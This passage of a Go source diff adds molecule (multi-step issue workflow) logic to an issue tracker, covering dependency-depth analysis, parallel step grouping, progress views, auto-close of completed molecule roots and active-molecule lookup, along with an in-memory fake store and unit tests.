any-children) every open child + // blocks the gate. + for _, childID := range children { + child := g.IssueMap[childID] + if child == nil || child.Status == types.StatusClosed { + continue + } + if _, ok := blockedBy[dep.IssueID]; ok { + blockedBy[dep.IssueID][childID] = true + } + if _, ok := blocks[childID]; ok { + blocks[childID][dep.IssueID] = true + } + } + } + } + + for _, issue := range g.Issues { + info := &MoleculeStepInfo{StepID: issue.ID, Status: string(issue.Status), BlockedBy: []string{}, Blocks: []string{}} + for blockerID := range blockedBy[issue.ID] { + if blocker := g.IssueMap[blockerID]; blocker != nil && blocker.Status != types.StatusClosed { + info.BlockedBy = append(info.BlockedBy, blockerID) + } + } + for blockedID := range blocks[issue.ID] { + info.Blocks = append(info.Blocks, blockedID) + } + info.IsReady = (issue.Status == types.StatusOpen || issue.Status == types.StatusInProgress) && len(info.BlockedBy) == 0 + if info.IsReady { + analysis.ReadySteps++ + } + sort.Strings(info.BlockedBy) + sort.Strings(info.Blocks) + analysis.Steps[issue.ID] = info + } + + depths := blockingDepths(g, blockedBy) + depthGroups := make(map[int][]string) + for _, issue := range g.Issues { + depthGroups[depths[issue.ID]] = append(depthGroups[depths[issue.ID]], issue.ID) + } + groupCounter := 0 + for depth := 0; depth <= len(g.Issues); depth++ { + groupCounter = groupParallelSteps(analysis, depthGroups[depth], blocks, blockedBy, groupCounter) + } + return analysis +} + +func anyClosed(g *MoleculeGraph, ids []string) bool { + for _, id := range ids { + if child := g.IssueMap[id]; child != nil && child.Status == types.StatusClosed { + return true + } + } + return false +} + +// groupParallelSteps unions the steps at one blocking depth that do not block +// each other and names every group of two or more. It answers the updated +// group counter. +func groupParallelSteps(analysis *MoleculeAnalysis, steps []string, blocks, blockedBy map[string]map[string]bool, counter int) int { + if len(steps) == 0 { + return counter + } + parent := make(map[string]string, len(steps)) + for _, id := range steps { + parent[id] = id + } + find := func(x string) string { + for parent[x] != x { + parent[x] = parent[parent[x]] + x = parent[x] + } + return x + } + for i, a := range steps { + for _, b := range steps[i+1:] { + if !blocks[a][b] && !blocks[b][a] && !blockedBy[a][b] && !blockedBy[b][a] { + if pa, pb := find(a), find(b); pa != pb { + parent[pa] = pb + } + } + } + } + groups := make(map[string][]string) + var order []string + for _, id := range steps { + root := find(id) + if _, ok := groups[root]; !ok { + order = append(order, root) + } + groups[root] = append(groups[root], id) + } + for _, root := range order { + members := groups[root] + if len(members) < 2 { + continue + } + counter++ + name := fmt.Sprintf("group-%d", counter) + analysis.ParallelGroups[name] = members + for _, id := range members { + info := analysis.Steps[id] + info.ParallelGroup = name + for _, other := range members { + if other != id { + info.CanParallel = append(info.CanParallel, other) + } + } + sort.Strings(info.CanParallel) + } + } + return counter +} + +// blockingDepths answers each node's blocking depth: 0 with no open blocker, +// one more than its deepest open blocker otherwise. A cycle counts as 0. +func blockingDepths(g *MoleculeGraph, blockedBy map[string]map[string]bool) map[string]int { + depths := make(map[string]int) + visiting := make(map[string]bool) + var depthOf func(id string) int + depthOf = func(id string) int { + if d, ok := depths[id]; ok { + return d + } + if visiting[id] { + return 0 + } + visiting[id] = true + deepest := -1 + for blockerID := range blockedBy[id] { + if blocker := g.IssueMap[blockerID]; blocker != nil && blocker.Status != types.StatusClosed { + deepest = max(deepest, depthOf(blockerID)) + } + } + depths[id] = deepest + 1 + return depths[id] + } + for _, issue := range g.Issues { + depthOf(issue.ID) + } + return depths +} + +// Molecule step states, as MoleculeStep.State spells them. +const ( + MoleculeStepDone = "done" + MoleculeStepCurrent = "current" + MoleculeStepReady = "ready" + MoleculeStepBlocked = "blocked" + MoleculeStepPending = "pending" +) + +// MoleculeStep is one step of a MoleculeView. +type MoleculeStep struct { + Issue *Issue + // State is one of the MoleculeStep* constants: done (closed), current (in + // progress), blocked (status blocked), ready (open, no open blocker inside + // the molecule) or pending. + State string + IsCurrent bool +} + +// MoleculeView is where a molecule stands: every step's state, the progress +// counts, the step in progress and the next ready one. +type MoleculeView struct { + Graph *MoleculeGraph + Analysis *MoleculeAnalysis + // Steps holds every step (the root excluded) ordered by how many blocking + // edges inside the molecule each one waits on, fewest first, stable over + // the graph's own order. + Steps []*MoleculeStep + // Completed counts the closed steps and Total every step. + Completed int + Total int + // CurrentStep is the step in progress (the last one in graph order when + // several are); NextStep the first ready step. + CurrentStep *Issue + NextStep *Issue + // Ready holds every node the analysis marks ready (open or in progress + // with no open blocker inside the molecule), root included, in graph + // order: `bd ready --mol`'s list, hydrated rows (assignee and all). + Ready []*Issue +} + +// Complete reports whether every step of the molecule is closed. +func (v *MoleculeView) Complete() bool { return v.Completed >= v.Total } + +// ViewMolecule loads the molecule rooted at rootID and derives its view. +func ViewMolecule(ctx context.Context, r MoleculeReader, rootID string) (*MoleculeView, error) { + g, err := LoadMolecule(ctx, r, rootID) + if err != nil { + return nil, err + } + return MoleculeViewOf(g), nil +} + +// MoleculeViewOf derives the view of an already loaded graph. +func MoleculeViewOf(g *MoleculeGraph) *MoleculeView { + analysis := AnalyzeMolecule(g) + view := &MoleculeView{Graph: g, Analysis: analysis, Total: len(g.Issues) - 1} + for _, issue := range g.Issues { + if info := analysis.Steps[issue.ID]; info != nil && info.IsReady { + view.Ready = append(view.Ready, issue) + } + if issue.ID == g.Root.ID { + continue + } + step := &MoleculeStep{Issue: issue} + switch issue.Status { + case types.StatusClosed: + step.State = MoleculeStepDone + view.Completed++ + case types.StatusInProgress: + step.State = MoleculeStepCurrent + step.IsCurrent = true + view.CurrentStep = issue + case types.StatusBlocked: + step.State = MoleculeStepBlocked + default: + if info := analysis.Steps[issue.ID]; info != nil && info.IsReady { + step.State = MoleculeStepReady + if view.NextStep == nil { + view.NextStep = issue + } + } else { + step.State = MoleculeStepPending + } + } + view.Steps = append(view.Steps, step) + } + sortStepsByBlockers(view.Steps, g) + return view +} + +// ReadySteps answers the steps whose state is ready, in view order. +func (v *MoleculeView) ReadySteps() []*Issue { + var out []*Issue + for _, step := range v.Steps { + if step.State == MoleculeStepReady { + out = append(out, step.Issue) + } + } + return out +} + +func sortStepsByBlockers(steps []*MoleculeStep, g *MoleculeGraph) { + inSteps := make(map[string]bool, len(steps)) + for _, step := range steps { + inSteps[step.Issue.ID] = true + } + waits := make(map[string]int, len(steps)) + for _, dep := range g.Dependencies { + if dep.Type == types.DepBlocks && inSteps[dep.IssueID] && inSteps[dep.DependsOnID] { + waits[dep.IssueID]++ + } + } + sort.SliceStable(steps, func(i, j int) bool { + return waits[steps[i].Issue.ID] < waits[steps[j].Issue.ID] + }) +} + +// MoleculeProgress is a molecule's progress counts over its DIRECT +// parent-child steps. +type MoleculeProgress = types.MoleculeProgressStats + +// ReadMoleculeProgress counts the direct steps of the molecule rooted at +// rootID without loading the whole graph. A root that names nothing is +// ErrNotFound. +func ReadMoleculeProgress(ctx context.Context, r MoleculeReader, rootID string) (*MoleculeProgress, error) { + if !r.usable() { + return nil, fmt.Errorf("%w: molecule reads need a reader", ErrValidation) + } + roots, err := getIssues(ctx, r, []string{rootID}) + if err != nil { + return nil, fmt.Errorf("loading molecule %s: %w", rootID, err) + } + root := roots[rootID] + if root == nil { + return nil, fmt.Errorf("%w: molecule %s", ErrNotFound, rootID) + } + children, err := r.Related(ctx, RelatedRequest{ + ID: rootID, + Direction: RelationIn, + Types: []types.DependencyType{types.DepParentChild}, + }) + if err != nil { + return nil, fmt.Errorf("reading the steps of %s: %w", rootID, err) + } + return MoleculeProgressOf(root, children), nil +} + +// MoleculeProgressOf folds a root's inbound parent-child neighbors into its +// progress counts. CurrentStepID is the first in-progress step in the order +// given. +func MoleculeProgressOf(root *Issue, children []*RelatedIssue) *MoleculeProgress { + stats := &MoleculeProgress{} + if root != nil { + stats.MoleculeID, stats.MoleculeTitle = root.ID, root.Title + } + for _, child := range children { + if child == nil || child.DependencyType != types.DepParentChild { + continue + } + stats.Total++ + switch child.Status { + case types.StatusClosed: + stats.Completed++ + case types.StatusInProgress: + stats.InProgress++ + if stats.CurrentStepID == "" { + stats.CurrentStepID = child.ID + } + } + } + return stats +} + +// CompletedMolecule answers the molecule root that closing stepID completed +// and that closes itself when complete (AutoClosesWhenComplete): the root is +// open and every step under it is closed. It answers nil when stepID belongs +// to no molecule, when the root is already closed or does not auto-close, or +// when a step is still open. It writes nothing; the caller closes the root, +// guarded on the RowVersion of the root it answers. +// +// It is AutoClosingMoleculeRoots then MoleculeStepsClosed, so a step under an +// ordinary epic, or under a root already closed, never reads the steps. +func CompletedMolecule(ctx context.Context, r MoleculeReader, stepID string) (*Issue, error) { + roots, err := AutoClosingMoleculeRoots(ctx, r, []string{stepID}) + if err != nil { + return nil, err + } + root := roots[stepID] + if root == nil { + return nil, nil + } + complete, err := MoleculeStepsClosed(ctx, r, root.ID) + if err != nil || !complete { + return nil, err + } + return root, nil +} + +// AutoClosingMoleculeRoots answers, for each id whose molecule root is open +// and closes itself when complete (AutoClosesWhenComplete), that root's row: +// the roots a close of ids could complete. It is the parent walk and the root +// rows MoleculeRoots reads, and nothing more — it never reads a molecule's +// steps — so a caller deciding several closes reads each root once and walks +// only the molecules that could auto-close. +func AutoClosingMoleculeRoots(ctx context.Context, r MoleculeReader, ids []string) (map[string]*Issue, error) { + rows, err := moleculeRootRows(ctx, r, ids) + if err != nil { + return nil, err + } + for id, root := range rows { + if root.Status == types.StatusClosed || !AutoClosesWhenComplete(root) { + delete(rows, id) + } + } + return rows, nil +} + +// MoleculeStepsClosed reports whether every parent-child descendant of rootID +// is closed — the steps LoadMolecule would load. It reads one level of steps +// at a time and answers false at the first step that is not closed, so an +// incomplete molecule costs the reads up to its first open step, not a load of +// the whole tree. A root with no steps answers true; a parent-child cycle +// terminates. +func MoleculeStepsClosed(ctx context.Context, r MoleculeReader, rootID string) (bool, error) { + if !r.usable() { + return false, fmt.Errorf("%w: molecule reads need a reader", ErrValidation) + } + seen := map[string]bool{rootID: true} + pending := []string{rootID} + for len(pending) > 0 { + parentID := pending[len(pending)-1] + pending = pending[:len(pending)-1] + children, err := r.Related(ctx, RelatedRequest{ + ID: parentID, + Direction: RelationIn, + Types: []types.DependencyType{types.DepParentChild}, + }) + if errors.Is(err, ErrNotFound) { + continue + } + if err != nil { + return false, fmt.Errorf("reading the steps of %s: %w", parentID, err) + } + for _, child := range children { + if child == nil || child.DependencyType != types.DepParentChild || seen[child.ID] { + continue + } + if child.Status != types.StatusClosed { + return false, nil + } + seen[child.ID] = true + pending = append(pending, child.ID) + } + } + return true, nil +} + +// MoleculeAutoCloseReason is the close reason a molecule root's auto-close +// records. +const MoleculeAutoCloseReason = "all steps complete" + +// IsMoleculeAutoCloseRefusal reports whether err is a refusal of a completed +// molecule's root close — an outcome that leaves the root open without failing +// the step close that completed it: the close policy (a live blocker, +// ErrCloseBlocked; open children, *CloseOpenChildrenError) or a close guard (a +// template root, *TemplateReadOnlyError; a pinned root, *PinnedError; a root +// assigned to someone else, *CloseNotAssigneeError). The root close is +// unforced (MoleculeRootClose), so every guard holds for it exactly as it does +// for a direct close of the root. A guard only reads, before the close writes +// anything, and a policy refusal rolls back to the close's savepoint, so a +// refusal leaves the step close's transaction as it found it. +// +// ErrVersionMismatch on the root is NOT a refusal: should a backend's check +// ever see a revision its read did not, it fails the step's close +// (CloseRequest.AutoCloseMolecule). A write to the root that races the close +// does not produce it (MoleculeRootClose). +func IsMoleculeAutoCloseRefusal(err error) bool { + var ( + openChildren *CloseOpenChildrenError + template *TemplateReadOnlyError + pinned *PinnedError + notAssignee *CloseNotAssigneeError + ) + return errors.Is(err, ErrCloseBlocked) || + errors.As(err, &openChildren) || + errors.As(err, &template) || + errors.As(err, &pinned) || + errors.As(err, ¬Assignee) +} + +// MoleculeRootClose is the ONE close request a molecule auto-close sends for a +// root it found complete (AutoClosingMoleculeRoots, then MoleculeStepsClosed, +// read in the transaction that closes it): unforced, recording +// MoleculeAutoCloseReason and the step close's session, and guarded on the +// RowVersion of root as that read answered it. Every backend's +// in-transaction auto-close (CloseRequest.AutoCloseMolecule) builds its root +// close from it. +// +// The guard covers the root row's lifecycle state and nothing else (the +// version family's rule: it guards a row's lifecycle state, not its graph). +// Every backend reads the root and checks its revision in one transaction +// snapshot, so a status, assignee or started_at write that another +// transaction commits to the root after the read does not trip the guard. It +// conflicts with the root close at commit instead, and the backend's retry +// re-reads the root and decides again (a root another actor now holds is a +// refusal, and the step's close stands); only a close still conflicting when +// its retry budget runs out fails, with the serialization error. The guard +// does not cover the steps: reopening a step writes no root row, so a reopen +// that races the auto-close is not detected, and the root can close over the +// reopened step. +func MoleculeRootClose(root *Issue, actor, session string) CloseRequest { + version := root.RowVersion + return CloseRequest{ + Actor: actor, + IssueID: root.ID, + Reason: MoleculeAutoCloseReason, + Session: session, + ExpectedVersion: &version, + } +} diff --git a/issueops/molecule_active.go b/issueops/molecule_active.go new file mode 100644 index 000000000..f8a7b8c98 --- /dev/null +++ b/issueops/molecule_active.go @@ -0,0 +1,141 @@ +package issueops + +import ( + "context" + "fmt" + "sort" + + "github.com/steveyegge/beads/internal/types" +) + +// InProgressMoleculeIDs answers the molecules with a step in progress for +// agent (every agent when agent is empty), each once, in the order the +// listing first reached a step of it. +// +// The listing is Reader.List over every plane and class a step can live in — +// templates, gates, infra and ephemeral rows, the four knobs rather than +// IncludeAllTypes, because the v0 wire publishes each knob and refuses the +// union. A read the backend refuses is returned, never answered as "none". +func InProgressMoleculeIDs(ctx context.Context, reader Reader, r MoleculeReader, agent string) ([]string, error) { + steps, err := listMoleculeCandidates(ctx, reader, types.StatusInProgress, agent) + if err != nil { + return nil, err + } + if len(steps) == 0 { + return nil, nil + } + ids := make([]string, len(steps)) + for i, step := range steps { + ids[i] = step.ID + } + roots, err := MoleculeRoots(ctx, r, ids) + if err != nil { + return nil, err + } + seen := map[string]bool{} + var out []string + for _, id := range ids { + if root := roots[id]; root != "" && !seen[root] { + seen[root] = true + out = append(out, root) + } + } + return out, nil +} + +// ActiveMoleculeIDs answers the molecules agent is working on, sorted: the +// ones with a step in progress or, when there are none, the ones its HOOKED +// work is attached to — a hooked epic itself, or an epic or template the +// hooked issue is blocked by. +func ActiveMoleculeIDs(ctx context.Context, reader Reader, r MoleculeReader, agent string) ([]string, error) { + ids, err := InProgressMoleculeIDs(ctx, reader, r, agent) + if err != nil { + return nil, fmt.Errorf("finding molecules in progress: %w", err) + } + if len(ids) == 0 { + ids, err = hookedMoleculeIDs(ctx, reader, r, agent) + if err != nil { + return nil, fmt.Errorf("finding hooked molecules: %w", err) + } + } + sort.Strings(ids) + return ids, nil +} + +func hookedMoleculeIDs(ctx context.Context, reader Reader, r MoleculeReader, agent string) ([]string, error) { + hooked, err := listMoleculeCandidates(ctx, reader, types.StatusHooked, agent) + if err != nil || len(hooked) == 0 { + return nil, err + } + seen := map[string]bool{} + var out []string + add := func(id string) { + if !seen[id] { + seen[id] = true + out = append(out, id) + } + } + var attached []string + for _, issue := range hooked { + // A hooked epic IS the molecule (a patrol wisp hooked without a + // separate handoff bead). + if issue.IssueType == types.TypeEpic { + add(issue.ID) + continue + } + attached = append(attached, issue.ID) + } + if len(attached) == 0 { + return out, nil + } + edges, err := r.ReadEdges(ctx, EdgeReadRequest{IDs: attached, Types: []types.DependencyType{types.DepBlocks}}) + if err != nil { + return nil, fmt.Errorf("reading the blockers of hooked work: %w", err) + } + var blockers []string + for _, anchor := range edges.Anchors { + for _, edge := range anchor.Edges { + if edge != nil && edge.Type == types.DepBlocks { + blockers = append(blockers, edge.DependsOnID) + } + } + } + candidates, err := getIssues(ctx, r, blockers) + if err != nil { + return nil, err + } + for _, id := range blockers { + // An external or dangling blocker names nothing to load. + if candidate := candidates[id]; candidate != nil && + (candidate.IssueType == types.TypeEpic || hasLabel(candidate, MoleculeTemplateLabel)) { + add(id) + } + } + return out, nil +} + +func listMoleculeCandidates(ctx context.Context, reader Reader, status types.Status, agent string) ([]*Issue, error) { + if reader == nil { + return nil, fmt.Errorf("%w: listing molecule work needs a reader", ErrValidation) + } + unlimited := 0 + page, err := reader.List(ctx, ListRequest{ + Status: string(status), + Assignee: agent, + IncludeTemplates: true, + IncludeGates: true, + IncludeInfra: true, + IncludeEphemeral: true, + Limit: &unlimited, + }) + if err != nil { + return nil, err + } + out := make([]*Issue, 0, len(page.Items)) + for _, row := range page.Items { + if row != nil && row.Issue != nil { + out = append(out, row.Issue) + } + } + return out, nil +} diff --git a/issueops/molecule_internal_test.go b/issueops/molecule_internal_test.go new file mode 100644 index 000000000..0ffda4f16 --- /dev/null +++ b/issueops/molecule_internal_test.go @@ -0,0 +1,40 @@ +package issueops + +import ( + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestBlockingDepths pins the depth rule the parallel grouping keys on: 0 with +// no open blocker, one more than the deepest open blocker otherwise. +func TestBlockingDepths(t *testing.T) { + root := &types.Issue{ID: "root", Status: types.StatusOpen} + step1 := &types.Issue{ID: "step1", Status: types.StatusOpen} + step2 := &types.Issue{ID: "step2", Status: types.StatusOpen} + step3 := &types.Issue{ID: "step3", Status: types.StatusOpen} + g := &MoleculeGraph{ + Root: root, + Issues: []*types.Issue{root, step1, step2, step3}, + IssueMap: map[string]*types.Issue{"root": root, "step1": step1, "step2": step2, "step3": step3}, + } + blockedBy := map[string]map[string]bool{ + "root": {}, + "step1": {"root": true}, + "step2": {"step1": true}, + "step3": {"step2": true}, + } + depths := blockingDepths(g, blockedBy) + for id, want := range map[string]int{"root": 0, "step1": 1, "step2": 2, "step3": 3} { + if depths[id] != want { + t.Errorf("%s depth = %d, want %d", id, depths[id], want) + } + } + + // A closed blocker no longer deepens what it blocked. + step1.Status = types.StatusClosed + depths = blockingDepths(g, blockedBy) + if depths["step2"] != 0 { + t.Errorf("step2 depth with its blocker closed = %d, want 0", depths["step2"]) + } +} diff --git a/issueops/molecule_test.go b/issueops/molecule_test.go new file mode 100644 index 000000000..296f168cc --- /dev/null +++ b/issueops/molecule_test.go @@ -0,0 +1,595 @@ +package issueops_test + +import ( + "context" + "errors" + "fmt" + "slices" + "sort" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// fakeMolecules is an in-memory MoleculeReader, Reader (List), Claimer and +// Lifecycle (Update with Claim, Close) — just enough store for the molecule +// rules, so each rule is pinned without a database. +type fakeMolecules struct { + issueops.Reader + issueops.Lifecycle + issues map[string]*types.Issue + deps []*types.Dependency + + edgeErr error + listErr error + relatedErr error + // related records every Related read, by id, in order. + related []string + // claimErrs answers a claim of the keyed id with that error. + claimErrs map[string]error + claimed []string + updated []string + closes []issueops.CloseRequest + closeErr error +} + +func newFakeMolecules() *fakeMolecules { + return &fakeMolecules{issues: map[string]*types.Issue{}, claimErrs: map[string]error{}} +} + +func (f *fakeMolecules) add(id string, typ types.IssueType, status types.Status, labels ...string) *types.Issue { + issue := &types.Issue{ID: id, Title: "title " + id, IssueType: typ, Status: status, Labels: labels, RowVersion: int64(len(id) * 7)} + f.issues[id] = issue + return issue +} + +func (f *fakeMolecules) edge(from, to string, typ types.DependencyType) { + f.deps = append(f.deps, &types.Dependency{IssueID: from, DependsOnID: to, Type: typ}) +} + +func (f *fakeMolecules) GetMany(_ context.Context, req issueops.GetManyRequest) (issueops.GetManyResult, error) { + out := issueops.GetManyResult{Issues: []*issueops.Issue{}, Missing: []string{}} + for _, id := range req.IDs { + if issue := f.issues[id]; issue != nil { + clone := *issue + out.Issues = append(out.Issues, &clone) + } else { + out.Missing = append(out.Missing, id) + } + } + return out, nil +} + +func (f *fakeMolecules) Related(_ context.Context, req issueops.RelatedRequest) ([]*issueops.RelatedIssue, error) { + f.related = append(f.related, req.ID) + if f.relatedErr != nil { + return nil, f.relatedErr + } + if f.issues[req.ID] == nil { + return nil, fmt.Errorf("%w: %s", issueops.ErrNotFound, req.ID) + } + var out []*issueops.RelatedIssue + for _, dep := range f.deps { + if dep.DependsOnID != req.ID || (len(req.Types) > 0 && !slices.Contains(req.Types, dep.Type)) { + continue + } + if issue := f.issues[dep.IssueID]; issue != nil { + out = append(out, &issueops.RelatedIssue{Issue: *issue, DependencyType: dep.Type}) + } + } + sort.Slice(out, func(i, j int) bool { return out[i].ID < out[j].ID }) + return out, nil +} + +func (f *fakeMolecules) ReadEdges(_ context.Context, req issueops.EdgeReadRequest) (issueops.EdgeReadResult, error) { + if f.edgeErr != nil { + return issueops.EdgeReadResult{}, f.edgeErr + } + var out issueops.EdgeReadResult + for _, id := range req.IDs { + anchor := issueops.AnchorEdges{ID: id, Missing: f.issues[id] == nil} + for _, dep := range f.deps { + if dep.IssueID == id && (len(req.Types) == 0 || slices.Contains(req.Types, dep.Type)) { + anchor.Edges = append(anchor.Edges, dep) + } + } + out.Anchors = append(out.Anchors, anchor) + } + return out, nil +} + +func (f *fakeMolecules) List(_ context.Context, req issueops.ListRequest) (issueops.IssuePage, error) { + if f.listErr != nil { + return issueops.IssuePage{}, f.listErr + } + var page issueops.IssuePage + for _, issue := range f.issues { + if string(issue.Status) == req.Status && (req.Assignee == "" || issue.Assignee == req.Assignee) { + page.Items = append(page.Items, &types.IssueWithCounts{Issue: issue}) + } + } + sort.Slice(page.Items, func(i, j int) bool { return page.Items[i].ID < page.Items[j].ID }) + return page, nil +} + +func (f *fakeMolecules) take(id, actor string) (*types.Issue, error) { + if err := f.claimErrs[id]; err != nil { + return nil, err + } + issue := f.issues[id] + issue.Status, issue.Assignee = types.StatusInProgress, actor + clone := *issue + clone.Labels = nil + return &clone, nil +} + +func (f *fakeMolecules) Claim(_ context.Context, req issueops.ClaimRequest) (issueops.ClaimResult, error) { + issue, err := f.take(req.IssueID, req.Actor) + if err != nil { + return issueops.ClaimResult{}, err + } + f.claimed = append(f.claimed, req.IssueID) + return issueops.ClaimResult{Issue: issue, Changed: true}, nil +} + +func (f *fakeMolecules) Update(_ context.Context, req issueops.UpdateRequest) (issueops.UpdateResult, error) { + if !req.Claim { + return issueops.UpdateResult{}, errors.New("fake: only claims") + } + issue, err := f.take(req.IssueID, req.Actor) + if err != nil { + return issueops.UpdateResult{}, err + } + f.updated = append(f.updated, req.IssueID) + return issueops.UpdateResult{Issue: issue, Changed: true}, nil +} + +func (f *fakeMolecules) Close(_ context.Context, req issueops.CloseRequest) (issueops.CloseResult, error) { + f.closes = append(f.closes, req) + if f.closeErr != nil { + return issueops.CloseResult{}, f.closeErr + } + issue := f.issues[req.IssueID] + if req.ExpectedVersion != nil && *req.ExpectedVersion != issue.RowVersion { + return issueops.CloseResult{}, issueops.ErrVersionMismatch + } + issue.Status = types.StatusClosed + clone := *issue + return issueops.CloseResult{Issue: &clone, Changed: true}, nil +} + +func (f *fakeMolecules) reader() issueops.MoleculeReader { return issueops.MoleculeReaderOver(f) } + +func (f *fakeMolecules) stepper() issueops.MoleculeStepper { + return issueops.NewMoleculeStepper(issueops.MoleculeStepperRoles{Reader: f.reader(), Claimer: f, Lifecycle: f}) +} + +// A molecule: root (molecule type) <- a, b, c; c blocked by b; b blocked by a. +func seedChain(f *fakeMolecules) { + f.add("m", types.TypeMolecule, types.StatusOpen) + f.add("m.a", types.TypeTask, types.StatusClosed) + f.add("m.b", types.TypeTask, types.StatusOpen) + f.add("m.c", types.TypeTask, types.StatusOpen) + for _, id := range []string{"m.a", "m.b", "m.c"} { + f.edge(id, "m", types.DepParentChild) + } + f.edge("m.b", "m.a", types.DepBlocks) + f.edge("m.c", "m.b", types.DepBlocks) +} + +func TestMoleculeRootsWalksToTheTopmostMoleculeRoot(t *testing.T) { + f := newFakeMolecules() + f.add("root", types.TypeEpic, types.StatusOpen) + f.add("child", types.TypeTask, types.StatusOpen) + f.add("grandchild", types.TypeTask, types.StatusOpen) + f.add("orphan", types.TypeTask, types.StatusOpen) + f.add("plain", types.TypeTask, types.StatusOpen) + f.add("plainkid", types.TypeTask, types.StatusOpen) + f.add("tmpl", types.TypeTask, types.StatusOpen, issueops.MoleculeTemplateLabel) + f.add("tmplkid", types.TypeTask, types.StatusOpen) + f.edge("child", "root", types.DepParentChild) + f.edge("grandchild", "child", types.DepParentChild) + f.edge("plainkid", "plain", types.DepParentChild) + f.edge("tmplkid", "tmpl", types.DepParentChild) + + roots, err := issueops.MoleculeRoots(context.Background(), f.reader(), []string{"grandchild", "child", "root", "orphan", "plainkid", "tmplkid", "absent"}) + if err != nil { + t.Fatalf("MoleculeRoots: %v", err) + } + want := map[string]string{"grandchild": "root", "child": "root", "root": "root", "tmplkid": "tmpl"} + if len(roots) != len(want) { + t.Fatalf("MoleculeRoots = %v, want %v", roots, want) + } + for id, root := range want { + if roots[id] != root { + t.Errorf("MoleculeRoots[%s] = %q, want %q", id, roots[id], root) + } + } +} + +// Every read the rules make RETURNS a refusal. Answering "not in a molecule" +// or "no molecules" for a read that never happened is how `bd mol current` +// went silently empty and a molecule root was stranded open. +func TestMoleculeReadsReturnRefusals(t *testing.T) { + ctx := context.Background() + refusal := errors.New("refused") + + f := newFakeMolecules() + seedChain(f) + f.edgeErr = refusal + if _, err := issueops.MoleculeRoots(ctx, f.reader(), []string{"m.b"}); !errors.Is(err, refusal) { + t.Errorf("MoleculeRoots with a refused edge read = %v, want the refusal", err) + } + if _, err := issueops.CompletedMolecule(ctx, f.reader(), "m.b"); !errors.Is(err, refusal) { + t.Errorf("CompletedMolecule with a refused edge read = %v, want the refusal", err) + } + + f = newFakeMolecules() + seedChain(f) + f.relatedErr = refusal + if _, err := issueops.ViewMolecule(ctx, f.reader(), "m"); !errors.Is(err, refusal) { + t.Errorf("ViewMolecule with a refused relations read = %v, want the refusal", err) + } + if _, err := issueops.ReadMoleculeProgress(ctx, f.reader(), "m"); !errors.Is(err, refusal) { + t.Errorf("ReadMoleculeProgress with a refused relations read = %v, want the refusal", err) + } + + f = newFakeMolecules() + f.listErr = refusal + if _, err := issueops.ActiveMoleculeIDs(ctx, f, f.reader(), "alice"); !errors.Is(err, refusal) { + t.Errorf("ActiveMoleculeIDs with a refused listing = %v, want the refusal", err) + } + if _, err := issueops.InProgressMoleculeIDs(ctx, f, f.reader(), "alice"); !errors.Is(err, refusal) { + t.Errorf("InProgressMoleculeIDs with a refused listing = %v, want the refusal", err) + } +} + +func TestMoleculeViewDerivesStatesProgressAndTheNextStep(t *testing.T) { + f := newFakeMolecules() + seedChain(f) + f.add("m.d", types.TypeTask, types.StatusInProgress) + f.edge("m.d", "m", types.DepParentChild) + f.issues["m.d"].Assignee = "alice" + + view, err := issueops.ViewMolecule(context.Background(), f.reader(), "m") + if err != nil { + t.Fatalf("ViewMolecule: %v", err) + } + if view.Total != 4 || view.Completed != 1 || view.Complete() { + t.Errorf("progress = %d/%d complete=%v, want 1/4 incomplete", view.Completed, view.Total, view.Complete()) + } + states := map[string]string{} + for _, step := range view.Steps { + states[step.Issue.ID] = step.State + } + want := map[string]string{"m.a": "done", "m.b": "ready", "m.c": "pending", "m.d": "current"} + for id, state := range want { + if states[id] != state { + t.Errorf("state[%s] = %q, want %q", id, states[id], state) + } + } + if view.CurrentStep == nil || view.CurrentStep.ID != "m.d" || view.CurrentStep.Assignee != "alice" { + t.Errorf("CurrentStep = %+v, want m.d assigned to alice (the full step row)", view.CurrentStep) + } + if view.NextStep == nil || view.NextStep.ID != "m.b" { + t.Errorf("NextStep = %+v, want m.b", view.NextStep) + } + // Ready is ready --mol's list: every analysis-ready node, hydrated. + ready := map[string]*issueops.Issue{} + for _, issue := range view.Ready { + ready[issue.ID] = issue + } + if ready["m.b"] == nil || ready["m.d"] == nil || ready["m.a"] != nil || ready["m.c"] != nil { + t.Errorf("Ready = %v, want m.b and m.d, never the closed m.a or the blocked m.c", view.Ready) + } + if d := ready["m.d"]; d != nil && d.Assignee != "alice" { + t.Errorf("Ready m.d assignee = %q, want alice (the full step row)", d.Assignee) + } + // Ordered by in-molecule blockers, fewest first: m.c waits on one step. + if last := view.Steps[len(view.Steps)-1].Issue.ID; last != "m.c" && last != "m.b" { + t.Errorf("last step = %s, want a step that waits on a blocker", last) + } + progress, err := issueops.ReadMoleculeProgress(context.Background(), f.reader(), "m") + if err != nil { + t.Fatalf("ReadMoleculeProgress: %v", err) + } + if progress.Total != 4 || progress.Completed != 1 || progress.InProgress != 1 || progress.CurrentStepID != "m.d" { + t.Errorf("progress = %+v, want 4 total, 1 completed, 1 in progress (m.d)", progress) + } +} + +func TestCompletedMoleculeAnswersOnlyAnOpenCompleteAutoClosingRoot(t *testing.T) { + ctx := context.Background() + for _, tc := range []struct { + name string + rootType types.IssueType + labels []string + closeAll bool + want bool + }{ + {"molecule root, all steps closed", types.TypeMolecule, nil, true, true}, + {"template epic, all steps closed", types.TypeEpic, []string{issueops.MoleculeTemplateLabel}, true, true}, + {"plain epic stays open for explicit close", types.TypeEpic, nil, true, false}, + {"a step still open", types.TypeMolecule, nil, false, false}, + } { + t.Run(tc.name, func(t *testing.T) { + f := newFakeMolecules() + f.add("r", tc.rootType, types.StatusOpen, tc.labels...) + f.add("r.1", types.TypeTask, types.StatusClosed) + status := types.StatusOpen + if tc.closeAll { + status = types.StatusClosed + } + f.add("r.2", types.TypeTask, status) + f.edge("r.1", "r", types.DepParentChild) + f.edge("r.2", "r", types.DepParentChild) + root, err := issueops.CompletedMolecule(ctx, f.reader(), "r.1") + if err != nil { + t.Fatalf("CompletedMolecule: %v", err) + } + if (root != nil) != tc.want { + t.Fatalf("CompletedMolecule = %v, want completed=%v", root, tc.want) + } + }) + } + + f := newFakeMolecules() + f.add("orphan", types.TypeTask, types.StatusClosed) + if root, err := issueops.CompletedMolecule(ctx, f.reader(), "orphan"); err != nil || root != nil { + t.Errorf("CompletedMolecule(orphan) = %v, %v, want nil, nil", root, err) + } +} + +// A close under a root that cannot auto-close — an ordinary epic, a root +// already closed — reads no steps at all, and an eligible root's steps are read +// only up to the first open one. +func 